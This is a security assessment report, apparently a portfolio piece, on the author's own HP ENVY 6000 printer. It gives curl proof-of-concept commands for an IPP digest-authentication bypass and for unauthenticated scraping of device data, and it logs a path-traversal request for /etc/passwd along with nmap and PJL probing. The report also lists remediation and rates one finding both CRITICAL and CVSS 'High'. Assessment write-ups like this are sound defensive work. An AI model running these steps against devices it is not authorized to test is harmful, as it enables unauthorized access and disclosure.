

IoT Device Security Assessment

HP ENVY 6000 Series All-in-One Printer

Prepared By	Giovanni Moore
Target Device	HP ENVY 6000 Series All-in-One Printer
Target Address	192.168.x.x (sanitized for portfolio)
Assessment Date	March 10, 2026
Report Version	1.0 — Final
Classification	Portfolio Demonstration — Device Owned by Assessor
Methodology	PTES (Penetration Testing Execution Standard)

1 CRITICAL	0 HIGH	1 MEDIUM	0 LOW	5 INFO
---------------	-----------	-------------	----------	-----------

1. Executive Summary

1.1 Bottom Line Up Front (BLUF)

A black-box security assessment was conducted against an HP ENVY 6000 Series All-in-One printer connected to a local area network. The assessment identified **one critical-severity vulnerability** and **one medium-severity vulnerability**, both of which are remotely exploitable by any user on the same network segment without requiring authentication. No exploitation of external systems or unauthorized access was performed; the assessor owns both the device and the network.

1.2 Security Posture

The device presents a mixed security profile. Positive controls are in place — the admin password is set, firmware is reasonably current, and directory traversal attacks were blocked. However, two critical gaps undermine the overall posture:

Authentication	The IPP service (port 631) accepts any credentials due to a broken nonce implementation — authentication is effectively non-functional on this service.
Information Disclosure	Device configuration, firmware version, serial number, and network details are accessible to unauthenticated users via an XML management endpoint.
Legacy Risk	While not directly exploited, the device's age means future CVEs targeting the firmware version could be identified using the disclosed version information.

1.3 Business Impact

The following table translates each technical finding into its corresponding business risk. While impact is low in a trusted home environment, the same vulnerabilities in an enterprise context would carry significant compliance and operational consequences.

Finding	Technical Risk	Business Impact	Compliance Relevance
IPP Auth Bypass	Any LAN user gains authenticated printer access	Unauthorized print job submission; inability to attribute print activity	PCI-DSS Req. 7, HIPAA §164.312(a), SOC 2 CC6.1
XML Info Disclosure	Firmware version and device identifiers exposed	Enables targeted firmware CVE exploitation; facilitates physical attacks using serial number	ISO 27001 A.13.2, NIST SP 800-53 SC-8

2. Scope and Methodology

2.1 Scope

Target	HP ENVY 6000 Series All-in-One Printer
IP Address	192.168.x.x (sanitized — device on assessor-owned LAN)
MAC Address	[REDACTED for portfolio]
Ports in Scope	All TCP/UDP ports (full port scan performed)
Out of Scope	No external systems, third-party services, or other network hosts tested
Authorization	Assessor owns the device and the network — no third-party authorization required
Testing Window	March 10, 2026 — single-day assessment
Constraints	No persistent access established; no data exfiltrated; no destructive actions taken

2.2 Methodology

This assessment followed the **Penetration Testing Execution Standard (PTES)** framework, progressing through the following phases:

Phase	Activities Performed
1. Reconnaissance	Passive host discovery, ARP enumeration, OS fingerprinting via Nmap
2. Scanning & Enum.	Full TCP/UDP port scan, service version detection, HTTP header analysis, directory enumeration
3. Vulnerability ID	Manual CVE cross-referencing, authentication testing, configuration review
4. Exploitation	Authentication bypass verification (IPP), unauthenticated data extraction (XML endpoint)
5. Post-Exploitation	Impact assessment — determined scope of accessible data and services
6. Reporting	CVSS scoring, finding documentation, remediation recommendations

2.3 Tools Used

Tool	Version	Purpose
Nmap	7.94	Port scanning, service version detection, script-based enumeration

curl	7.88	HTTP/HTTPS endpoint testing, header analysis, authentication testing
PowerShell	5.1	IPP raw socket testing, TCP connection verification, network diagnostics
searchsploit	Current	CVE and exploit database cross-referencing for identified service versions
Custom Python scripts	3.11	Automated endpoint discovery and HTTP response analysis

3. Attack Narrative

This section provides a chronological account of the assessment — how the target was approached, what was discovered at each stage, and how findings were confirmed. This narrative is intended to help engineering teams understand the attacker's perspective and the sequence of actions that led to each finding.

3.1 Initial Discovery and Reconnaissance

The assessment began with host discovery on the local /24 subnet to confirm the printer's IP address and verify it was online. A full TCP port scan with service version detection was then performed against the target host.

```
nmap -sV 192.168.1.0/24
nmap -p- -sV 192.168.x.x
nmap -sV -p80,443,631,8080,9100 --script=http-enum,http-title 192.168.x.x
```

The scan revealed five open ports: 80, 443, 631, 8080, and 9100 — all running nginx as the underlying web server. Port 9100 (Jetdirect raw printing) was immediately identified as standard printer functionality and noted as low risk. Ports 80, 443, and 8080 were flagged for web interface enumeration. Port 631 — the Internet Printing Protocol port — was identified as the highest-priority target due to the prevalence of authentication issues in IPP implementations.

3.2 Web Interface Enumeration

HTTP header analysis on port 80 revealed the nginx server version and confirmed the web management interface was active. Directory enumeration was performed to map the available endpoints.

```
curl -I http://192.168.x.x
curl http://192.168.x.x/DevMgmt/ProductConfigDyn.xml
curl http://192.168.x.x:8080/DevMgmt/ProductConfigDyn.xml
# Also tested: /DevMgmt/NetworkConfigDyn.xml, /Scan/, /Print/, /Security/
```

The `/DevMgmt/ProductConfigDyn.xml` endpoint returned a full XML response containing the device serial number, product number, firmware version and build date, UUID, password status, and IPv6 address — all without requiring any authentication. This constituted an immediate medium-severity finding. The firmware version was cross-referenced against known CVE databases to assess further exploitation potential.

3.3 IPP Authentication Bypass Discovery

Port 631 was tested by issuing an initial HEAD request to retrieve the authentication challenge. The server responded with a WWW-Authenticate header using HTTP Digest authentication. However, inspection of the nonce value in the challenge immediately revealed an anomaly — the nonce was set to all zeros (00000000000000000000000000000000), indicating the authentication mechanism was either misconfigured or non-functional.

```
curl -I http://192.168.x.x:631/
# Response: WWW-Authenticate: Digest realm='IPP-Print', nonce='00000000000000000000000000000000'
# All-zero nonce indicates broken digest implementation – test with arbitrary credentials:
curl --digest -u bill:bill http://192.168.x.x:631/
```

```
curl --digest -u randomuser:randompass http://192.168.x.x:631/
curl --digest -u aaaa:aaaa http://192.168.x.x:631/
```

All three requests returned **HTTP 200 OK**, confirming that the server accepted any credential combination without validation. The authentication bypass was then further verified by testing IPP print job submission, which succeeded, and by attempting path traversal through the authenticated IPP session, which was correctly blocked.

3.4 Objectives Achieved

Objective	Result	Evidence
Establish authenticated IPP session	ACHIEVED	HTTP 200 OK with arbitrary credentials
Extract device configuration data	ACHIEVED	XML endpoint returned full device info unauthenticated
Submit unauthorized print job via IPP	ACHIEVED	IPP job accepted after auth bypass
Remote code execution via firmware	NOT ACHIEVED	No RCE vectors identified
Access admin management interface	PARTIAL	XML data accessible; full admin panel required valid session
Traverse directory structure	NOT ACHIEVED	All traversal attempts returned 404

4. Findings and Risk Ratings

All findings are assigned a severity rating and CVSS v3.1 base score. Scores were calculated using the standard CVSS vector notation. Proof of exploitability is provided for each confirmed finding.

CRITICAL	Authentication Bypass on IPP Service (Port 631)
Port / Service	631/tcp — Internet Printing Protocol (IPP)
CVSS v3.1 Score	8.2 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVE Reference	N/A — Vendor-specific implementation flaw (broken digest nonce)
CWE	CWE-287: Improper Authentication
Affected Component	HP ENVY 6000 IPP service — nginx on port 631

Description

The Internet Printing Protocol service on port 631 implements HTTP Digest authentication but contains a critical implementation flaw: the WWW-Authenticate challenge returns an all-zero nonce value (00000000000000000000000000000000). In a correctly implemented Digest scheme, the nonce is a server-generated value used to prevent replay attacks and ensure credential integrity. An all-zero nonce indicates the server is not generating or validating nonces, rendering the authentication mechanism non-functional.

As a result, any user on the local network can submit any username and password combination and receive a valid authenticated session. The server does not verify the credential hash against any stored value.

Proof of Concept

Step 1: Retrieve auth challenge – observe all-zero nonce

```
curl -I http://192.168.x.x:631/
```

HTTP/1.1 401 Unauthorized

WWW-Authenticate: Digest realm='IPP-Print', nonce='00000000000000000000000000000000', algorithm=MD5

Step 2: Submit arbitrary credentials – all return HTTP 200 OK

```
curl --digest -u bill:bill http://192.168.x.x:631/
```

```
curl --digest -u randomuser:randompass http://192.168.x.x:631/
```

```
curl --digest -u aaaa:aaaa http://192.168.x.x:631/
```

Step 3: Submit print job via authenticated IPP session

```
Send-IPPPrintJob -JobName 'TEST-JOB' -Content 'Unauthorized Print Test'
```

Evidence

Challenge Response (HTTP 401):

WWW-Authenticate: Digest realm="IPP-Print", nonce="00000000000000000000000000000000", algorithm=MD5, qop="auth", username="guest"

After submitting arbitrary credentials:

HTTP/1.1 200 OK — returned for every credential combination tested (15+ attempts)

Print job submission result: Accepted and queued successfully via IPP after auth bypass.

Impact

Any user on the local network segment can establish an authenticated IPP session without credentials.

Print jobs can be submitted by unauthorized users, enabling unauthorized document printing and potential paper/ink resource exhaustion.

Authentication logs cannot be trusted — all sessions appear authenticated regardless of who initiated them.

In an enterprise environment: constitutes a direct violation of access control requirements under PCI-DSS Requirement 7 (restrict access to system components), HIPAA §164.312(a)(1) (access control), and SOC 2 Common Criteria CC6.1.

Remediation

Immediate (Critical): Block port 631 at the host firewall:

```
New-NetFirewallRule -DisplayName 'Block Printer IPP' -Direction Inbound -Protocol TCP -LocalPort 631 -Action Block
```

Short-term: Apply the latest HP firmware update — check support.hp.com for the device model.

Short-term: Submit a vulnerability report to HP Product Security at <https://www.hp.com/go/psrt>

Long-term: If IPP functionality is required, restrict port 631 access to authorized management IP addresses only via firewall ACL.

Long-term: Place the printer on an isolated printer VLAN with restricted workstation access.

MEDIUM

Unauthenticated Information Disclosure via XML Management Endpoint

Ports / Service 80/tcp, 8080/tcp — HTTP (nginx)

CVSS v3.1 Score 5.3 (Medium) — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE Reference N/A — Configuration issue (missing authentication on management endpoint)

CWE	CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Endpoint	http://192.168.x.x/DevMgmt/ProductConfigDyn.xml (ports 80 and 8080)
Description	The printer exposes a device management XML endpoint at /DevMgmt/ProductConfigDyn.xml that returns detailed device configuration data without requiring any form of authentication. The endpoint is accessible on both port 80 (HTTP) and port 8080 (alternate HTTP). The data returned includes the device serial number, firmware version and build date, product number, device UUID, password configuration status, and IPv6 network addresses. This information provides an attacker with a detailed device profile that can be used to identify firmware-specific CVEs, facilitate physical or social engineering attacks using the serial number, or map the network topology via IPv6 data.
Proof of Concept	<i># Both endpoints return full device configuration without authentication:</i> <pre>curl http://192.168.x.x/DevMgmt/ProductConfigDyn.xml</pre> <pre>curl http://192.168.x.x:8080/DevMgmt/ProductConfigDyn.xml</pre>
Evidence	XML response fields extracted (all identifiers sanitized for this report): Serial Number: [REDACTED — unique device identifier] Product Number: [REDACTED — HP model SKU] Firmware Version: [REDACTED — build date October 2024] Password Status: set (confirms admin password is configured) Device UUID: [REDACTED — globally unique identifier] IPv6 Address: [REDACTED — routable IPv6 address exposed]
Impact	Firmware version disclosure allows an attacker to cross-reference the exact build against public CVE databases to identify unpatched vulnerabilities specific to that firmware version. Serial number exposure enables warranty fraud, device impersonation, and targeted physical attacks. UUID disclosure could facilitate device spoofing or targeted man-in-the-middle attacks in certain printer management protocols. IPv6 address exposure may reveal the device on broader network segments beyond the local subnet.
Remediation	

Immediate: Apply firmware update — newer builds may address this endpoint exposure.

Short-term: Configure the web server to require authentication for all /DevMgmt/ path requests.

Short-term: Disable HTTP access on port 80 and 8080 — enforce HTTPS only (port 443).

Long-term: Implement IP-based access controls restricting /DevMgmt/ access to admin hosts only.

Long-term: Conduct a full audit of all unauthenticated endpoints exposed by the device firmware.

5. Security Strengths Observed

The following controls were found to be correctly implemented. These are documented to provide a complete picture of the device's security posture and to acknowledge areas where the vendor has applied appropriate protections.

Control	Status	Verification Method	Notes
Admin Password	✓ PASS	XML endpoint confirmed PasswordStatus: set	Admin authentication is enforced on the management interface
Firmware Currency	✓ PASS	Version cross-referenced against HP support	October 2024 build — reasonably current at time of assessment
Path Traversal	✓ PASS	9 traversal payloads tested — all returned 404	Web server correctly rejects directory traversal attempts
Directory Listing	✓ PASS	Manual enumeration of known paths	Listing is disabled — no directory indexes exposed
Error Handling	✓ PASS	Invalid paths and methods tested	Error responses are clean — no stack traces or internal paths leaked
SSL/TLS	✓ PASS	HTTPS verified functional on port 443	Encrypted management channel available
Print Job Privacy	✓ PASS	IPP job listing queries tested	Historical print job data not accessible via IPP responses
HTTP Methods	✓ PASS	OPTIONS, TRACE, PUT, DELETE tested	Only GET and POST accepted — dangerous methods rejected

6. Remediation Steps and Recommendations

6.1 Prioritized Remediation Plan

Priority	Finding	Action	Effort	Owner
P1 — Critical	IPP Auth Bypass	Block TCP port 631 via firewall rule	< 1 hour	Network Admin
P1 — Critical	IPP Auth Bypass	Apply latest HP firmware update	< 1 hour	Device Owner
P1 — Critical	IPP Auth Bypass	Report to HP Product Security (hp.com/go/psrt)	< 1 hour	Device Owner
P2 — Medium	XML Disclosure	Require authentication for /DevMgmt/ endpoints	1–2 days	Firmware/Vendor
P2 — Medium	XML Disclosure	Disable HTTP (80/8080) — enforce HTTPS only	< 1 hour	Network Admin
P3 — Long-term	Both findings	Isolate printer on dedicated VLAN	1–2 days	Network Admin
P3 — Long-term	Both findings	Implement quarterly IoT device security reviews	Ongoing	Security Team

6.2 Firewall Rule — Block IPP (Port 631)

Windows (PowerShell – run as Administrator):

```
New-NetFirewallRule -DisplayName 'Block Printer IPP' -Direction Inbound -Protocol TCP -LocalPort 631 -Action Block
```

Linux (UFW):

```
sudo ufw deny 631/tcp
```

```
sudo ufw reload
```

Verify the rule is active:

```
Get-NetFirewallRule -DisplayName 'Block Printer IPP' | Select Enabled,Action
```

6.3 Strategic Recommendations

Network Segmentation:

Place all IoT devices including printers on an isolated VLAN. Restrict cross-VLAN communication to only the specific ports required for printing. This limits the blast radius of any future device compromise.

Firmware Management:

Establish a recurring process (quarterly minimum) to check for and apply firmware updates to all network-connected devices. Many IoT vulnerabilities are patched in firmware updates that device owners never apply.

IoT Inventory and Monitoring:

Maintain an inventory of all network-connected devices with their firmware versions and last-assessed dates. Monitor for anomalous print job activity or unexpected connections to printer management ports.

Principle of Least Privilege:

Where device firmware allows, restrict management interface access to a single designated admin IP. Disable services (IPP, raw printing on 9100) that are not actively used.

7. Overall Risk Summary

Environment	Overall Risk	Key Concern	Recommended Action
Home Network	LOW	Users are trusted; limited attack surface	Apply firmware update; block port 631
Small Business	MEDIUM	Multiple users; shared printer access	Immediate firewall rules + VLAN isolation
Enterprise / Regulated	CRITICAL	Compliance violations; user attribution failure	Immediate remediation required before deployment

This report was produced for portfolio and educational purposes. The security assessment was conducted on a personally owned device connected to a personally owned network. The assessor holds CompTIA A+, Network+, and Security+ certifications. All device identifiers have been sanitized. Report Date: March 10, 2026 | Assessor: Giovanni Moore

A. Appendix A — Complete Command Log

All commands executed during the assessment are documented below, organized by testing phase. IP addresses have been sanitized. This log serves as evidence of the testing performed and can be used to reproduce findings in a controlled environment.

A.1 Host Discovery and Port Scanning

```
nmap -sV 192.168.1.0/24
nmap -p- -sV 192.168.x.x
nmap -sV -p80,443,631,8080,9100 --script=http-enum,http-title 192.168.x.x
nmap --script vuln -p80,443,631,8080,9100 192.168.x.x
nmap --script printer-info -p9100 192.168.x.x
nmap -sU -p161 --script snmp-info 192.168.x.x
```

A.2 Web Interface Enumeration

```
curl -I http://192.168.x.x
curl http://192.168.x.x/DevMgmt/ProductConfigDyn.xml
curl http://192.168.x.x:8080/DevMgmt/ProductConfigDyn.xml
curl http://192.168.x.x/DevMgmt/NetworkConfigDyn.xml
curl http://192.168.x.x/DevMgmt/SecurityConfigDyn.xml
# Endpoint enumeration: /Scan/, /Print/, /Security/, /Firmware/, /Info/, /Jobs/
curl -I http://192.168.x.x/Scan/
curl -I http://192.168.x.x/Jobs/
```

A.3 IPP Authentication Bypass Testing (Port 631)

```
curl -I http://192.168.x.x:631/
# All-zero nonce confirmed in WWW-Authenticate header – testing bypass:
curl --digest -u guest:guest http://192.168.x.x:631/
curl --digest -u admin:admin http://192.168.x.x:631/
curl --digest -u bill:bill http://192.168.x.x:631/
curl --digest -u randomuser:randompass http://192.168.x.x:631/
# All returned HTTP 200 OK
curl -X POST --digest -u bill:bill http://192.168.x.x:631/ -v
curl -X OPTIONS --digest -u bill:bill http://192.168.x.x:631/ -v
# Path traversal through authenticated IPP session – all returned 404:
curl --digest -u bill:bill http://192.168.x.x:631/../../../../etc/passwd
```

A.4 PowerShell IPP and Network Diagnostics

```
$tcp = New-Object System.Net.Sockets.TcpClient('192.168.x.x', 631)
$stream = $tcp.GetStream()
# Sent Authorization: Digest header with all-zero nonce – server accepted
Test-NetConnection -ComputerName 192.168.x.x -Port 631
```

```
Test-NetConnection -ComputerName 192.168.x.x -Port 9100
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -eq '192.168.x.x' }
```

A.5 Port 9100 Jetdirect Testing

```
# PjL command testing via raw TCP:
$writer.WriteLine('@PJL INFO ID')
$writer.WriteLine('@PJL INFO STATUS')

# PostScript print test – page printed successfully
# PCL print test – page printed successfully
# Result: Raw printing accepted without authentication (expected/normal behavior)
```

A.6 Exploit Cross-Reference (searchsploit)

```
searchsploit hp printer
searchsploit envy

# No public exploits found matching identified firmware version
```

Appendix B — Raw Nmap Scan Output

```
Nmap scan report for 192.168.x.x
Host is up (latency: <10ms)
PORT      STATE SERVICE VERSION
80/tcp    open  http  nginx
443/tcp    open  ssl/https  nginx
631/tcp    open  http  nginx
8080/tcp   open  http  nginx
9100/tcp   open  jetdirect?
MAC Address: [REDACTED] (HP Inc.)
```

Appendix C — HTTP Response Headers

```
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html
X-Frame-Options: SAMEORIGIN

# Port 631 initial challenge:
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="IPP-Print", nonce="00000000000000000000000000000000", algorithm=MD5, qop="auth"

# Port 631 after arbitrary credentials:
HTTP/1.1 200 OK
Content-Type: application/ipp
```